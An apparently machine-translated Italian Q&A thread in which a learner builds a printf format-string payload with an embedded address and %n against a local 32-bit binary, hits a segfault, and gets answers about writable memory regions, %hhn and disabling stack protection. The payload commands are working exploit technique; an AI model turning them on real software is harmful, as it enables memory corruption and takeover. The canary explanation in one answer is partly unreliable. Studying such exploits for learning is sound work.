Errore di segmentazione che tenta di sfruttare la vulnerabilità di printf

3

Sto cercando di saperne di più sulla vulnerabilità di printf. Capisco la teoria ma non riesco a metterla in pratica.

TL; DR

Tutti i miei tentativi di scrivere un singolo byte in memoria provocano un errore di segmentazione.

Qual è la ragione più probabile per l'errore? La mia ipotesi è che potrebbe essere una sorta di protezione nei moderni compilatori / OS (sto lavorando su Ubuntu Xenial a 64 bit), ma non ne so molto.

Dettagli

Sono in grado di leggere lo stack. Ho scoperto che la chiamata che sto cercando di sfruttare mette 6 * 4 byte davanti al mio input:

Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141

Ho disassemblato il file binario e ho trovato la posizione (i) di memoria che voglio cambiare. Ho provato vari indirizzi, sia codice che dati con lo stesso risultato. Ad esempio, l'indirizzo della stringa La tua scelta: è 0x0804b795 .

$ gdb -batch -ex "x/s 0x0804b795" ./a.out
0x804b795:  "Your choice: "

Sono in grado di scrivere quell'indirizzo nel payload:

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload
$ cat payload - | ./a.out

Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795

Quindi sostituisco l'ultima %08x con %n per scrivere in quell'indirizzo. Il numero di caratteri stampati sarà 4 (per l'indirizzo) + 6 * 8 (imbottito% x) + 7 (punti) = 59 che inserisce il valore da scrivere nell'intervallo ASCII; 59 rappresenta il punto e virgola - un carattere adatto per scrivere in una stringa.

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload
$ cat payload | ./a.out

Per quanto ne so, dovrebbe funzionare e speravo di vedere ; la nostra scelta sulla prossima iterazione, ma sto ottenendo

Your choice: You entered: 

Segmentation fault

Per confermare:

$ gdb a.out

(gdb) run < payload

Your choice: You entered:


Program received signal SIGSEGV, Segmentation fault.
0xf7e58dff in vfprintf () from /lib32/libc.so.6

(gdb) bt
#0  0xf7e58dff in vfprintf () from /lib32/libc.so.6
#1  0xf7e5df66 in printf () from /lib32/libc.so.6
#2  0x080487b4 in getInput ()
#3  0x0804b206 in programMain ()
#4  0x0804b3b0 in main ()

Cosa mi manca? Cos'altro posso controllare?

    
posta vitaly 28.09.2016 - 08:29
fonte

2 risposte

2

Ti consiglio di controllare se l'indirizzo 0x0804b795 è scrivibile.

Puoi vedere le diverse regioni di un processo in esecuzione in /proc/PID/maps . Ad esempio:

$ sleep 10 &
[1] 1438
$ cat /proc/$(pgrep -f 'sleep 10')/maps
08048000-0804d000 r-xp 00000000 08:01 399565     /bin/sleep
0804d000-0804e000 r--p 00005000 08:01 399565     /bin/sleep
0804e000-0804f000 rw-p 00006000 08:01 399565     /bin/sleep
084b4000-084d5000 rw-p 00000000 00:00 0          [heap]
[...]

In questo caso, solo gli indirizzi compresi tra 0804e000-0804f000 e 084b4000-084d5000 sono scrivibili.

All'interno di GDB, puoi utilizzare info proc o info inferior per ottenere il PID del programma debug.

Inoltre, tieni presente che %n scriverà un valore intero, non un singolo carattere. Voglio dire, in questo caso scriverà 4 caratteri (in little-endian). Ma puoi usare %hhn per scrivere un singolo carattere.

Ti consiglio di leggere link e di esaminare printf(3) documentazione.

    
risposta data 01.10.2016 - 04:13
fonte
1

Prova a dare un'occhiata qui: Stack Overflow - Defeating Canaries, ASLR, DEP, NX

Sembra che tu possa avere un canarino in pila. Dovresti compilare in modo specifico il programma di destinazione senza impilare la protezione delle canarie. Scopri di più su come qui: link

In breve, dovresti fare:

gcc target.c -fno-stack-protector

Anche! Assicurati che la stringa abbia un byte null alla fine \ 00:)

    
risposta data 01.10.2016 - 04:14
fonte

Leggi altre domande sui tag